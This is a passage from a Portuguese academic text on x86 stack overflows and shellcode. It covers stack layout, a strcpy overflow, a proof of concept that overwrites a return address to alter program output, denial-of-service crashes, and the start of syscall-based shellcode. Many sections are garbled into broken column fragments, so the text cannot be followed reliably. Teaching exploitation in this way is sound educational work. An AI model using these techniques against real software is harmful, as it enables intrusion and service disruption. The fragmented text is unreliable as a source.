strings são automaticamente decrementadas, ou seja, o processamento de strings é
realizado a partir de endereços maiores até os menores. Já a operação inversa,
limpando‐se o DF, indica que as operações de strings devem ser automaticamente
incrementadas, ou seja, o oposto da situação anterior.
3.2.3.5 Ponteiro de instrução
Também chamado de EIP, contém o endereço em offset (relativo ao início do
segmento de código atual) da próxima instrução a ser executada. Este registrador não
é diretamente visível ao programador; ele é modificado implicitamente como
resultado de instruções que transferem o fluxo de execução entre segmentos (por
exemplo, as instruções CALL e JMP), interrupções e exceções.
cham
exec
Como m
mado de IP
ução de cód
mostrado n
e pode se
digos comp
Figura 2.5
a figura 2.
er tratado c
pilados para
5: represent
.5, o conju
como uma
os process
tação gráfic
unto dos 1
unidade. T
adores 808
ca do regist
6 bits infe
Tal funciona
6 e 80286.
trador EIP.
riores do
alidade é ú
42
EIP é
til na
43
3 STACK OVERFLOWS
Em muitas implementações da linguagem de programação C, é possível
corromper a pilha de execução escrevendo‐se além do buffer12 declarado em uma
rotina. Um programa que faz isto “quebra” a pilha e dá brecha para que o retorno da
rotina siga um novo fluxo localizado em um endereço qualquer.
3.1 Organização dos processos na memória
Para entender o que é uma pilha, primeiramente é necessário compreender
como um processo é organizado na memória. Como já visto, os processos são divididos
em três regiões: texto, dados e pilha. Embora o foco seja a última região, faz‐se
necessário uma recapitulação das duas primeiras. A figura 3.1 ilustra as três regiões de
um processo carregado na memória, onde é particularmente importante notar que a
região da pilha possui os endereços mais altos, assim como a região do texto possui os
mais baixos.
12 Na Ciência da Computação, buffer é uma região de memória temporária utilizada para escrita e leitura de dados. Os dados podem ser originados de dispositivos (ou processos) externos ou internos ao sistema. Os buffers podem ser implementados em software (mais usado) ou hardware. Normalmente são utilizados quando existe uma diferença entre a taxa em que os dados são recebidos e a taxa em que eles podem ser processados, ou no caso em que essas taxas são variáveis. (Wikipédia, 2007).
3.1.
marc
regiã
Fig
1 Texto
É fixada
cados como
ão resultará
gura 3.1: as
pelo própr
o somente
em uma fa
regiões de
rio program
leitura. No
alha de segm
um process
ma e incluem
ormalmente
mentação.
so carregad
m, além de
e qualquer
do na memó
código (ins
tentativa d
ória.
struções), d
de escrita
44
dados
nesta
45
3.1.2 Dados
Contêm dados inicializados e não inicializados. Variáveis estáticas são
armazenadas nesta região. Seu tamanho pode ser mudado com a função “brk()”. Se a
expansão da região de dados ou da pilha do usuário esgotar a memória disponível, o
processo é bloqueado e é re‐agendado para rodar novamente com uma área de
memória maior. A nova memória é adicionada entre os segmentos de dados e pilha.
3.1.3 Pilha
3.1.3.1 Definição
É um tipo abstrato de dado freqüentemente utilizado na computação. Uma
pilha tem a propriedade de que o último objeto colocado será o primeiro a ser
retirado. Esta propriedade é comumente referida como LIFO13.
Muitas operações são baseadas em pilhas. As duas mais importantes são: PUSH
e POP. A primeira adiciona um elemento no topo da pilha. Já a segunda, em
13 Last In, First Out.
46
contrapartida, reduz o tamanho da mesma ao remover o último elemento que foi
adicionado a ela.
3.1.3.2 Uso
Computadores modernos são desenvolvidos com a perspectiva de facilitar a
programação através do uso de linguagens de alto nível. A técnica mais importante
para estruturar programas, introduzida pelas linguagens de alto nível, é chamada de
“procedimento” ou “função”. Uma chamada de procedimento altera o fluxo de
execução exatamente como a instrução JMP faz, mas, ao contrário da mesma, quando
terminada a tarefa a ser realizada pela chamada, a função retorna o controle para a
expressão ou instrução seguinte. Este tipo de abstração de alto nível é implementado
com a ajuda de uma pilha.
A pilha é usada, também, para alocar dinamicamente variáveis locais
declaradas em funções, para a passagem de parâmetros e para valores de retorno.
3.1.3.3 Região
47
Uma pilha é um bloco de memória contínuo que contém dados. O registrador
ESP aponta para o topo da pilha. O fundo da pilha está contido em um endereço fixo.
Seu tamanho é dinamicamente ajustado pelo kernel14 em runtime. O processador
implementa instruções para inserir (PUSH) e remover (POP) objetos da pilha.
A pilha consiste em locações lógicas que são incrementadas e decrementadas
quando uma função é chamada e quando a mesma retorna, respectivamente. Uma
locação de pilha contém os parâmetros para uma função, suas variáveis locais e os
dados necessários para a recuperação do estado anterior da pilha, incluindo o valor do
ponteiro de instrução EIP no momento da chamada da função.
Dependendo da implementação, a pilha vai crescer para baixo (em direção a
endereços mais baixos) ou para cima (o inverso). A pilha implementada pela
arquitetura x86 cresce para baixo, assim como na SPARC, MIPS e em muitas outras. O
ESP também é dependente da arquitetura. Ele pode apontar para o último endereço
em uso ou para o próximo livre da pilha. Na arquitetura utilizada neste trabalho, o
apontador da pilha indica o último endereço contido na mesma.
Em conjunto ao ESP, freqüentemente é conveniente ter um apontador de
locação (EBP) para indicar um endereço fixo dentro de uma locação. A princípio,
variáveis locais podem ser referenciadas fornecendo seus offsets a partir do ESP.
14 Núcleo do sistema operacional.
48
Entretanto, como dados são inseridos e removidos da pilha, tais offsets mudam. Ainda
que em alguns casos o compilador possa manter um histórico do número de dados
contidos na pilha e, assim, corrigir os offsets afetados, algumas vezes ele simplesmente
não pode, sendo que nos dois casos uma intervenção considerável é requerida. Além
disto, em alguns sistemas, tais como processadores baseados na arquitetura x86,
acessar uma variável em uma distância conhecida a partir do ESP requer múltiplas
instruções.
Conseqüentemente, muitos compiladores utilizam um segundo registrador – o
EBP – para referenciar tanto variáveis locais quanto parâmetros, justamente porque
suas distâncias em relação ao mesmo não mudam quando a pilha é movimentada. Em
virtude de como a pilha da arquitetura i386 cresce, parâmetros possuem offsets
positivos e variáveis locais negativos.
O primeiro passo executado quando há a chamada de um procedimento, é
salvar o EBP anterior (para ele poder ser recuperado após o retorno da função). Em
seguida, copia‐se o ESP para o EBP para definir o novo EBP, incrementando o ponteiro
ESP de acordo com o espaço ocupado pelas variáveis locais. O código que realiza esta
tarefa é chamado de “prólogo de uma função”. Antes de o procedimento retornar, a
pilha precisa ser limpa novamente, ou seja, o ESP e o EBP são restaurados para seus
valores anteriores à execução da função. Esta etapa é chamada de “epílogo de uma
função”.
nece
preci
de m
figur
É possív
essidade do
F
Para ent
iso compila
máquina. A c
a 3.3.
vel analisar
uso de uma
Figura 3.2: p
tender o q
ar o mesmo
chamada da
as instruç
a pilha, com
programa q
que o progr
o com a opç
a função “e
ões execut
mo mostra o
ue utiliza um
rama faz p
ção “‐S” do
xemplo()” é
tadas pelo
o programa
ma pilha em
para chama
GCC a fim
é traduzida
processado
da figura 3
m baixo níve
ar a função
de gerar a
para o cód
or quando
.2.
el.
o “exemplo
saída em có
igo mostrad
49
há a
()”, é
ódigo
do na
argu
instr
pilha
prim
proc
cópia
estud
espa
Figur
Ainda an
mentos pas
ução CALL
a será cham
eiro aspec
edimento, c
No códig
a do ESP atu
do, o apont
ço para as
ra 3.3: códig
nalisando a
ssados à fu
também irá
mado, dest
cto a ser
como most
Figur
go da figura
ual para o E
tador de loc
variáveis lo
go produzid
figura 3.3,
nção (em o
á inserir o
te ponto e
considerad
ra a figura 3
ra 3.4: prólo
a 3.4, prim
EBP, fazendo
cação salvo
ocais subtra
do na cham
nota‐se que
ordem inver
EIP na pilh
em diante,
do na exe
3.4.
ogo da funç
eiramente
o‐o ser o no
será chama
aindo‐se seu
ada da funç
e o process
rsa) e realiz
a. Para fins
de “RET”
ecução da
ção “exemp
insere‐e o
ovo apontad
ado de “SEB
us tamanho
ção “exemp
sador insere
za a chama
s de estudo
(endereço
função é
plo()”.
EBP na pilh
dor de loca
BP”. Em seg
os do ESP. E
plo()”.
e na pilha o
da da mesm
o, o EIP salv
de retorn
o prólogo
ha. Depois,
ção. Para fi
guida, reser
Embora não
50
s três
ma. A
vo na
o). O
o do
há a
ns de
rva‐se
o seja
retra
depo
tama
assim
de 1
resta
e ve
“exe
3.1.3
atado na fi
ois, o retorn
É import
anho de um
m, o buffer
0 vai consu
ante (outros
ersão utiliz
mplo()”, a p
Figura
3.4 Falha
igura, poste
no (instruçã
tante lembr
m word, qu
de 5 bytes
umir 12. É
s 20 bytes)
zados. Bas
pilha estará
3.5: estado
teórica
eriormente
o RET) da m
rar que a m
e, no caso
vai consum
por isso qu
que está se
seando‐se
no estado
o da pilha q
e há o epíl
mesma.
memória só
da arquite
mir 8 bytes d
ue o ESP é
endo subtra
nisto, no
mostrado p
uando a fun
logo (instru
pode ser en
etura estuda
de memória
subtraído d
aído varia de
momento
pela figura 3
nção “exem
ução LEAVE
ndereçada
ada, possui
a, da mesm
de pelo me
e acordo co
da cham
3.5.
mplo()” é cha
E) da funçã
em múltipl
i 4 bytes. S
a maneira q
enos 20 byt
om o compi
ada da fu
amada.
51
ão e,
os do
Sendo
que o
tes. O
ilador
unção
buffe
orga
pela
prog
cópia
outra
arma
funçã
Um stac
er pode tra
nização é a
figura 3.6.
Fig
Tem‐se,
rama criado
a de strings
a, porém n
azenar. Uma
ão “strcpy(
ck overflow
tar. Como
lgo que ser
gura 3.6: pro
como ilust
o. A função
s, chamada
não há qua
a maneira c
()” pela “st
é o resulta
isto repres
rá demonstr
ograma com
trado na fi
o “exemplo
a “strcpy()”
alquer verif
correta de s
trncpy()”, p
ado de uma
senta um p
rado atravé
m função vu
gura 3.6, u
()” executa
. Tal funçã
ficação do
se evitar o p
pois esta ú
a inserção m
roblema cr
és de peque
ulnerável a s
um caso tí
, intername
o realiza a
limite que
problema, n
última apen
maior de da
rítico na seg
enos exemp
stack overfl
pico de sta
ente, uma o
cópia de
a string d
neste caso, s
nas permite
ados do qu
gurança de
plos, inician
low.
ack overflo
outra funçã
uma string
de destino
seria substi
e que um
52
e um
e uma
do‐se
w no
ão, de
para
pode
tuir a
certo
núm
para
seja,
poss
nega
infor
pont
“exe
Fig
prob
ero de byte
determina
antes da fu
ui, pelo me
ativo, a fun
rmando o p
Ao exec
to que o p
mplo()”, tem
gura 3.7: est
Até nest
blema de ex
es seja cop
do caso, po
unção “strc
enos, 256 b
nção “exem
roblema a q
utar o prog
roblema ve
m a aparên
tado da pilh
te ponto, a
xecução. Po
piado. No c
oderia ser re
cpy()” dever
ytes (taman
mplo()” dev
quem a cha
grama criad
em à tona.
cia mostrad
ha, na cham
pilha estav
orém, como
aso de não
ealizada um
ria haver alg
nho aponta
veria ser a
mou.
do, tem‐se
. A pilha, n
da pela figu
mada da fun
va em seu e
o há uma te
o haver um
ma verificaç
gum código
ado pelo po
bortada co
uma falha
no momen
ra 3.7.
ção “exemp
estado norm
entativa de
ma função s
ão manual
o que confe
onteiro “ent
om algum
a de segme
to da cham
plo()”, antes
mal, não ha
inserir – at
egura espe
do tamanh
erisse se o b
trada”). Em
código de
entação. É
mada da fu
s da “strcpy
avendo qua
través da fu
53
ecífica
ho, ou
buffer
m caso
erro,
neste
unção
y()”.
alquer
unção
“strc
estou
um b
buffe
pont
carac
retor
próx
norm
ende
pela
apar
cpy()” – uma
uro e partes
Em outra
buffer que
er estão se
teiro “entra
ctere “A”,
rno, agora s
ima instruç
malmente.
ereço 0x414
qual ocorr
ência retrat
Figur
a quantidad
s da memó
as palavras
pode cont
endo sobres
ada”. Como
que possu
sobrescrito,
ção a ser
Porém, ne
414141 (for
re uma falh
tada pela fig
ra 3.8: estad
de de bytes
ria que dev
s, o código
er somente
scritos. Isto
o o buffer i
ui represen
, será 0x414
executada
este novo
ra da área
ha de segm
gura 3.8.
do da pilha
muito maio
eriam ser so
exposto na
e 16. Sendo
o inclui o S
nterno à fu
tação hexa
414141. Qu
é lida e
cenário, a
de endere
mentação. A
após o reto
or do que o
omente leit
a figura 3.6
o assim, os
SEBP, o RE
unção “mai
adecimal 0x
uando a fun
o fluxo de
a próxima
ços do pro
A pilha, de
orno da funç
o buffer pod
tura, são so
tenta copia
s 240 bytes
ET e até m
in()” foi pre
x41, o nov
nção “exem
e execução
instrução
cesso), sen
epois do es
ção “exemp
de conter, h
brescritas.
ar 256 byte
s posteriore
esmo o pr
eenchido c
vo endereç
plo()” retor
o deveria s
encontra‐s
ndo esta a
stouro, pos
plo()”.
54
há um
es em
es ao
róprio
om o
ço de
rna, a
seguir
e no
razão
ssui a
em S
sobre
3.1.3
o flu
exem
É notáve
SEBP, RET e
escritos por
3.5 Explor
Então, at
xo de exec
mplo, consid
el o problem
no ponteir
r uma seqüê
rando
través dos e
ução de um
derando‐se
Figu
ma acarreta
ro “entrada”
ência do ca
exemplos d
m programa
o código da
ura 3.9: cód
ado pelo est
” foram tot
ractere “A”
demonstrad
a, ou seja, m
a figura 3.9.
digo da figur
touro da pi
talmente pe
”.
os, fica evid
manipular o
.
ra 3.6 altera
lha. Os end
erdidos, um
dente que é
o endereço
ado.
dereços con
ma vez que f
é possível m
de retorno
55
ntidos
foram
mudar
o. Por
visua
parte
para
F
depu
envo
pelo
seu
prop
de at
em
Depois d
alizar suas i
e do resulta
abrir, espe
Figura 3.10:
É impor
urador, uma
olvidos na e
compilado
estado pur
priamente a
Observa
tribuição pa
decimal). A
de compila
nstruções e
ado exposto
cificamente
resultado d
tante ressa
a vez que
execução. S
r (através d
ro, ou seja,
locadas.
ndo‐se a lin
ara a variáv
Ainda na f
r o código
em Assembl
o na figura
e, o código
do “disassem
altar que a
a mesma d
Se fosse ge
da opção “‐
, sem ende
nha 11 da f
vel “i” (linha
figura 3.10
da figura
ly através d
3.10, utiliz
da função “
mble main”
a análise só
depende do
erado apena
S” do GCC)
ereços de m
figura 3.10,
a 19 da figu
0, na linha
3.9 e abri‐
do comando
ou‐se o com
“main()”.
” do código c
ó pode ser
os endereç
as o código
, as instruç
memória, u
é possível
ura 3.9), ond
14, tem‐s
‐lo com o
o “disassem
mando “dis
compilado d
r realizada
ços de mem
o de máqu
ções seriam
uma vez qu
notar o pr
de se coloc
se a cham
GDB, pode
mble”. Para
sassemble m
da figura 3.
através de
mória que
ina diretam
visualizada
ue nunca f
imeiro com
ca o valor 0x
mada da fu
56
em‐se
obter
main”
9.
e um
estão
mente
as em
foram
mando
x0 (0,
unção
57
“exemplo()”, sendo que o endereço de retorno da mesma é 0x0804844e (instrução
seguinte). O segundo comando de atribuição da variável “i” (linha 21 da figura 3.9)
possui o código de máquina mostrado na linha 16 da figura 3.10, onde se coloca o
valor 0xA (10, em decimal).
Sabe‐se que o programa mostrará, em condições normais, a saída “i = 10” no
final de sua execução, uma vez que a segunda atribuição, obviamente, prevalecerá. No
entanto, como o programa possui um trecho de código sujeito a stack overflow, pode‐
se mudar seu curso e forçar que o resultado seja 0 (valor atribuído à variável “i” na
linha 19 da figura 3.9).
De uma maneira ainda geral, como já é conhecido, basta que se mude o
endereço de retorno da função “exemplo()” para que seja possível pular o segundo
comando de atribuição da variável “i”. Sendo assim, na linha 20 da figura 3.9, seria
necessário introduzir uma quantidade considerável de bytes a fim de sobrescrever o
RET da função chamada. Finalmente, após ter controle sobre o endereço de retorno,
bastaria fazê‐lo apontar para o endereço 0x08048458 (linha 17 da figura 3.10). O
programa pularia o segundo comando de atribuição (“i = 0xA”) e terminaria
normalmente, porém com uma saída forjada (“i = 0”).
Embora a idéia seja simples, a prática, de fato, não é. Um ponto é sobrescrever
o endereço de retorno com o intuito demonstrativo, como, por exemplo, com uma
58
seqüência do caractere “A”. Outro completamente diferente é saber quantos bytes é
necessário inserir no buffer para estourá‐lo e, pior, onde é preciso parar para
sobrescrever o RET com um novo endereço de memória. Se apenas 1 byte for
calculado errado (para mais ou para menos), o endereço de retorno não apontará para
o lugar correto (entende‐se como “lugar correto” o endereço para qual o hacker quer
apontar).
Neste caso, como não há execução de código arbitrário, ou seja, somente é
feita a modificação do RET diretamente, fica fácil calcular. O endereço de retorno
original é 0x0804844e e a idéia é fazê‐lo apontar para a instrução seguinte (contida no
endereço de memória 0x08048458) ao segundo comando de atribuição, ou seja, a
quantidade de bytes entre os dois endereços é 8. Este número deverá ser somado ao
endereço de retorno original.
Para saber em qual endereço de memória o RET está armazenado, é preciso
basear‐se no buffer que está na pilha. Estudando‐se novamente o código, percebe‐se
que o buffer possui 16 bytes. Depois do buffer está o SEBP (4 bytes) e, em seguida, o
RET. Deve‐se somar, então, 20 bytes ao endereço de memória do buffer. Assim é
possível acessar diretamente a posição de memória que contém o endereço de
retorno da função “exemplo()”.
20 by
prog
deve
os do
códig
Figu
Portanto
ytes após o
rama, pois
Para apl
e‐se calcular
ois endereç
go vulneráv
ura 3.11: mo
o, para conc
buffer, ou
a instrução
icar a práti
r o número
ços posterio
vel para rea
odificação p
cluir o ataq
seja, o RET
‐alvo (segu
ca da teoria
o de bytes n
ores (SEBP e
lizar tal pro
para calcula
ue, é precis
. Fazendo‐s
nda atribuiç
a exposta p
necessários
e RET). A fig
ocedimento
ar a quantid
so somar 8
se isto, forja
ção à variáv
pelas linhas
para estou
gura 3.11 m
.
dade de byt
bytes ao e
a‐se o result
vel “i”) é pu
anteriores
urar o buffe
mostra uma
tes a ser ins
ndereço co
tado de saíd
lada.
, primeiram
r e sobresc
a modificaçã
erida no buf
59
ontido
da do
mente
crever
ão do
uffer.
a qua
exec
buffe
“exe
cont
lemb
para
most
O progra
antidade de
ução, deve
er vulneráve
F
É possív
mplo()”, so
inuou intac
brar que ain
o RET. Na
tra a figura
ama da figu
e bytes inse
e‐se utilizar
el, como mo
Figura 3.12:
vel notar
omente a m
cto. Sendo a
nda faltam 2
a segunda e
3.13.
ura 3.11 tom
erida na fun
r um núme
ostra a figu
: primeira e
que utiliza
etade (2 by
assim, para
2 bytes para
execução, e
ma como ar
nção “exem
ero aleatóri
ra 3.12.
execução do
ando 26 b
ytes) do SEB
acertar o ta
a sobrescre
então, utiliz
rgumento u
mplo()”. Send
o de bytes
o programa
bytes como
BP foi sobre
amanho já
ever o resta
zou‐se 32 b
um número
do assim, e
s, ligeirame
modificado
o entrada
escrita. O R
na próxima
ante do SEB
bytes como
inteiro que
em uma prim
ente superio
o.
para a fu
RET, obviam
tentativa,
BP e mais 4
o entrada, c
60
e será
meira
or ao
unção
mente,
basta
bytes
como
suce
ante
15 Proo(teórico
F
Agora já
sso. Finalm
riores.
of of Concept (Pro) estabelecido p
Figura 3.13:
á é sabido
ente, a figu
rova do Conceitopor uma pesquisa
: segunda e
que com
ura 3.11 exib
o) é um termo uta ou artigo técnico
execução do
32 bytes s
be um códi
tilizado para deno. (Wikipédia, 20
o programa
sobrescreve
go PoC15 do
nominar um mod007).
modificado
e‐se o SEB
o ataque de
delo prático que
o.
P e o RET
escrito nas l
possa provar o c
61
com
inhas
conceito
prop
seqü
exec
ende
segu
ende
incre
O códig
positalmente
üência se r
ução do p
ereço 0x08
inte à seg
ereço de m
emento da f
Figura 3.
go da fig
e com um
epete oito
programa, m
048478 (en
gunda atrib
memória po
função “for
.14: PoC da
gura 3.14
outro buffe
vezes (os
mostrada n
ndereço pa
buição da
ossui 4 byt
()” ocorre d
a vulnerabili
estoura
er que cont
32 bytes
na figura 3
ara o qual
variável “i
tes, sendo
de quatro em
idade exemp
o buffer
tém uma se
do buffer
3.13). Cada
se deseja
”). É impo
exatament
m quatro.
plificada.
da funçã
eqüência de
utilizado v
a repetição
pular, ou
ortante lem
te por este
ão “exemp
e endereço
êm da seg
o dela pos
seja, instr
mbrar que
e motivo q
62
plo()”
s. Tal
gunda
sui o
rução
cada
que o
63
Outro aspecto muito importante a se considerar na figura 3.14 é a linha 27. Seu
uso é imprescindível para, neste caso, fazer com que o exploit tenha sucesso. Para
entender por qual motivo tal instrução em código de máquina é necessária, é preciso
observar‐se novamente a figura 3.10. Após o retorno da função “exemplo()”, há o
ajuste da pilha, realizado pela instrução contida na linha 15. Se o exploit criado faz com
que se pule a instrução da segunda atribuição à variável “i” (linha 16), fica evidente
que o mesmo também deixa passar a instrução corretiva da pilha. Como a pilha é
utilizada novamente pela função “printf()”, se a questão não for corrigida, o programa
produzirá resultados aleatórios, pois a pilha vai estar deslocada incorretamente.
É fato que o exemplo demonstrado pelas figuras anteriores é meramente
ilustrativo, uma vez que exige acesso ao código‐fonte do programa vulnerável. Se isto
fosse possível na realidade, um hacker simplesmente inseriria uma backdoor16 que lhe
garantiria acesso a funções privilegiadas (ou, até mesmo, à execução de código
arbitrário) sem precisar explorar falhas de programação.
Um último fator passível de ser analisado é a função “exit()” (utilizada
propositalmente nos códigos) como encerramento da função “main()”. Teoricamente a
chamada pela função “exit()” deveria evitar que o estouro da pilha ocorresse. Ela
encerraria o processo atual e, como a função “main()” jamais retornaria de fato, o
16 Backdoor (porta dos fundos) é um trecho de código mal‐intencionado que cria uma ou mais falhas de segurança para dar acesso ao sistema operacional a pessoas não autorizadas. Esta falha de segurança criada é análoga a uma porta dos fundos por onde a pessoa mal‐intencionada pode entrar (invadir) o sistema. Backdoors podem ser inseridos propositalmente pelos criadores do sistema ou podem ser obra de terceiros, usando para isso um vírus, verme ou cavalo de tróia. (Wikipédia, 2007).
stack
RET
“mai
sejam
pelas
uma
explo
proc
nunc
k overflow
tenham s
n()”nunca
m sobrescri
s figuras, a
sub‐função
orado pela t
Figura 3.1
Embora
esso, é imp
ca será enc
não seria o
sido sobre
retornou. R
itos, eles pr
função “ex
o. Em contr
técnica des
15: código i
o código
portante lem
contrada em
observado.
escritos, el
Reforçando
recisam ser
it()” não faz
rapartida, a
crita neste
impossível d
da figura
mbrar que e
m códigos p
Isto porque
les não fo
a teoria d
r executado
z diferença
a figura 3.1
trabalho.
de ser explo
3.15 utilize
esta não é a
profissionai
e, embora o
oram utiliz
da falha, nã
os. Porém,
alguma, po
5 ilustra um
orado atrav
e a função
forma corr
s. Como a
os endereço
zados, já
ão basta qu
nos código
ois a falha o
m código im
és da técnic
o “exit()” p
reta, então,
função “m
os do SEBP
que a fu
ue os ende
os demonst
ocorre dent
mpossível d
ca estuda.
para encer
provavelm
main()” é do
64
e do
unção
reços
rados
tro de
de ser
rar o
mente,
o tipo
65
inteiro, o valor de retorno deve ser, obrigatoriamente, correspondente. Sendo assim, o
encerramento correto para o programa da figura 3.15 deveria ser realizado através da
função “return()”.
Para finalizar este capítulo, é importante ressaltar que além de executar código
arbitrário no sistema através de um shellcode, um hacker pode simplesmente querer
corromper o programa vulnerável, fazendo‐o parar de responder ou simplesmente
“cair” (quando há a finalização do processo). Este tipo de ataque é chamado de DoS17,
sendo muito mais simples que a execução de código arbitrário.
Por exemplo, imagina‐se um servidor web vulnerável a stack overflow. Se um
hacker sabe exatamente como reproduzir a falha em questão, então ele pode
sobrescrever o RET com algum endereço de memória, como já visto anteriormente.
Assim, escrevendo‐se um endereço que não pertence à área de endereços do processo
atualmente em execução, faria com que o servidor web “caísse”, uma vez que o
processo seria finalizado devido a uma falha de segmentação. Se o endereço
sobrescrito fosse válido no contexto do processo, seria possível que o servidor web
continuasse em execução, porém sem responder qualquer requisição, como se o
mesmo estivesse sobrecarregado.
17 Denial of Service (ou Negação de Serviço) é a tentativa de forçar um serviço computacional a parar de responder temporária ou indefinidamente através de métodos exaustivos ou aproveitando‐se de uma vulnerabilidade em particular.
66
4 SHELLCODES
4.1 Definição
Revisando os pontos explorados até o momento, é possível lembrar‐se que as
instruções que o processador executa estão alocadas em alguma porção da memória.
Para executar um shell18 após um stack overflow, o que é preciso é colocar um código
correspondente em algum lugar da memória e inserir o endereço do mesmo no RET.
O nome comumente utilizado para definir tais instruções é shellcode. Para usá‐
lo em um exploit, é necessário descobrir os opcodes19 correspondentes a cada trecho
e, então, inseri‐los em um array20 de caracteres hexadecimais. Os três métodos
conhecidos para a descoberta dos opcodes de um shellcode são:
• Programar diretamente em opcodes hexadecimais;
18 O termo shell é mais usualmente utilizado para se referir aos programas de sistemas do tipo UNIX que podem ser utilizados como meio de interação entre o usuário e o computador. Este é um programa que recebe, interpreta e executa os comandos do usuário, aparecendo na tela como uma linha de comandos, representada por um prompt, que aguarda na tela os comandos do usuário. (Wikipédia, 2007);
19 Na Ciência da Computação, um opcode é um pedaço de uma instrução da linguagem de máquina que especifica a operação a ser executada. O termo é uma abreviação de Operation Code (Código de Operação). (Wikipédia, 2007);
20 Na programação de computadores, um array, também conhecido como vetor ou lista (para arrays uni‐dimensionais) ou matriz (para arrays bi‐dimensionais), é uma das mais simples estruturas de dados. Os arrays mantêm uma série de elementos de dados, geralmente do mesmo tamanho e tipo. (Wikipédia, 2007).
67
• Programar primeiramente em Assembly e, depois, extrair os opcodes
correspondentes;
• Programar em C, extrair as instruções em Assembly e, finalmente, os opcodes.
A fim de deixar o texto mais claro, utilizou‐se, neste trabalho, o terceiro
método, uma vez que é o mais óbvio de se compreender. Primeiramente serão
demonstrados algumas syscalls e, depois, parte‐se para a criação de um shellcode
capaz de executar um shell em modo interativo.
Entende‐se por “executar um programa” como a “chamada de um serviço do
kernel responsável em criar e executar um novo processo no sistema”. Tais serviços
executam no modo mais privilegiado do processador, ou seja, no “modo kernel”. Nos
shellcodes, será necessária uma instrução para definir o acesso aos referidos serviços,
disponíveis ao ambiente do usuário através de syscalls. Assim, para compreender um
shellcode, primeiramente é necessário estudar as chamadas de sistema.
4.2 Syscalls
Os acessos ao kernel podem ser categorizados de acordo com o evento ou ação
que os iniciam:
68
• Interrupção por hardware: é originada a partir de eventos externos, tais
como dispositivos de entrada e saída ou um pulso de clock. Ocorre
assincronamente e pode não estar relacionada ao contexto do processo
atualmente em execução;
• Interrupção capturada por hardware: pode ocorrer assíncrona ou
sincronamente e está relacionada ao contexto do processo atualmente em
execução. Um exemplo deste tipo de interrupção ocorre quando há a
execução de uma operação aritmética inválida, como a divisão por zero;
• Interrupção capturada por software: usada pelo sistema para forçar o
agendamento de um evento tal como o re‐agendamento de um processo
ou o processamento de rede. Syscalls são consideradas um caso especial
deste tipo de interrupção: a instrução utilizada para gerar uma syscall
tipicamente causa uma interrupção capturada por software, que é tratada
diretamente pelo kernel.
A função responsável por tratar syscalls de um sistema operacional precisa
cumprir duas tarefas básicas:
69
• Verificar que os parâmetros para a chamada de sistema estão localizados
em uma área válida de endereços e copiá‐los da área de endereços do
usuário para a específica do kernel;
• Chamar a rotina do kernel que implementa a syscall requisitada.
No Linux, existem dois mecanismos para implementar chamadas de sistema:
• lcall7/lcall27
• INT 0x80
Programas nativos do Linux utilizam o segundo mecanismo de interrupção de
software, enquanto binários originados de diferentes tipos de UNIX (Solaris e
UnixWare, por exemplo) utilizam o mecanismo “lcall7”. O nome “lcall7” é um equívoco
histórico porque ele também cobre o outro tipo – “lcall27” –, porém a função que os
trata é chamada “lcall7_func()”.
Quando o sistema inicializa, a função “trap_init()” (localizada no arquivo
“arch/i386/kernel/traps.c” do kernel) é chamada para definir a IDT21. O vetor 0x80
21 Interrupt Descriptor Table ou Tabela Descritora de Interrupções.
70
aponta para o endereço da entrada “system_call” do arquivo
“arch/i386/kernel/entry.S”.
Quando uma aplicação da área do usuário requisita uma syscall, os argumentos
da mesma são passados via registradores, sendo, por fim, executada a instrução “INT
0x80”. Isto causa uma interrupção no modo kernel e o processador pula para o
endereço da “system_call” correspondente, localizada no arquivo “entry.S”. Os passos
normalmente seguidos neste processo são:
• Salvar o estado dos registradores;
• Realizar alguma verificação de segurança;
• Chamar a função “system_call” responsável por tratar a syscall
correspondente.
O registrador EAX denota a syscall requisitada. Os registradores restantes
possuem significados relativos de acordo com o valor contido no EAX.
Para ilustrar a situação, imagina‐se a chamada da função “exit()” por um
programa qualquer. Antes de entrar no modo kernel, a função correspondente contida
no header22 insere o valor 0x1 (“sys_exit”) no registrador EAX, define o parâmetro
22 Cabeçalho na linguagem de programação C. Por exemplo, “#include <unistd.h>”.
repa
0x80
traba
do a
prese
4.3 S
serão
a figu
ssado à fu
0”. Quando
alho. Neste
arquivo “ke
ente no reg
Shellcode
Utilizand
o feitas em
Figura 4.1
Para ent
ura 4.2.
nção “exit(
o a interru
cenário, co
ernel/exit.c”
gistrador EB
para a sy
do como mo
seguida, at
1: programa
tender como
()” através
pção ocorr
omo o regis
” é chamad
BX (parâmet
yscall “sys_
odelo o pro
través do GD
a que utiliza
o funciona
do registra
re, o kerne
trador EAX
da. Esta fu
tro único, no
_exit”
ograma mo
DB.
a a função “
uma syscal
ador EBX e
el aloca a
possui valo
unção oper
o caso da fu
strado na f
“exit()” para
l, deve‐se d
e executa a
rotina apr
or 0x1, a fun
ra de acord
unção “exit(
figura 4.1, a
a encerrar o
desmembrá
a instrução
ropriada pa
nção “sys_e
do com o
()”).
algumas an
o processo.
‐la como m
71
“INT
ara o
exit()”
valor
álises
mostra
inser
havia
Send
“exit
regis
23 Estad
Como se
re o valor 0
a sido inser
do assim, as
Na prim
t()”, ou seja
strador EBX
do.
Figura 4
e pode visu
0x1 no regis
rido na pilh
s instruções
Figura 4.3
meira linha
a, seu parâm
. Em seguid
4.2: abertur
alizar na fig
strador EAX
ha (que, na
necessária
3: instruçõe
da figura 4
metro (ou
da há a defin
ra da syscal
gura 4.2, o
X e, em seg
verdade, é
s para repre
es necessári
4.3, tem‐se
0, como m
nição da sys
ll “_exit” pe
header qu
guida, coloc
é o status23
esentar a lin
ias para um
e o código
ostra a figu
scall deseja
elo GDB.
e contém a
ca no EBX o
de saída at
nha “exit(0)
m “exit(0)”.
de retorno
ura 4.1). Ele
ada (0x1), se
a função “e
o parâmetro
tual, ou sej
)” seriam:
o para a fu
e é colocad
endo inserid
72
exit()”
o que
ja, 0).
unção
do no
da no
regis
proc
possí
dem
GDB,
pela
strador EAX
essador ent
Em poss
ível chamá
onstrado na
Para enc
, inserir um
figura 4.5.
X. Finalment
tra no modo
se das inst
á‐las direta
a figura 4.4
Figura 4.4:
contrar os o
ma parada n
te, na últim
o kernel.
truções nec
amente atr
.
: programa
opcodes do
na função “
ma linha, há
cessárias p
ravés de u
idêntico ao
o código cria
“main()” e e
á o pedido
ara a exec
um progra
o exposto na
ado, o prim
executar o
de interru
cução de a
ma escrito
a figura 4.1.
meiro passo
programa,
pção, ou se
lguma roti
o em C. Is
.
é abri‐lo c
como mos
73
eja, o
na, é
sto é
com o
trado
“sys_
F
Posterio
_exit”, como
Figura 4.5:
rmente é
o ilustrado
primeiro pa
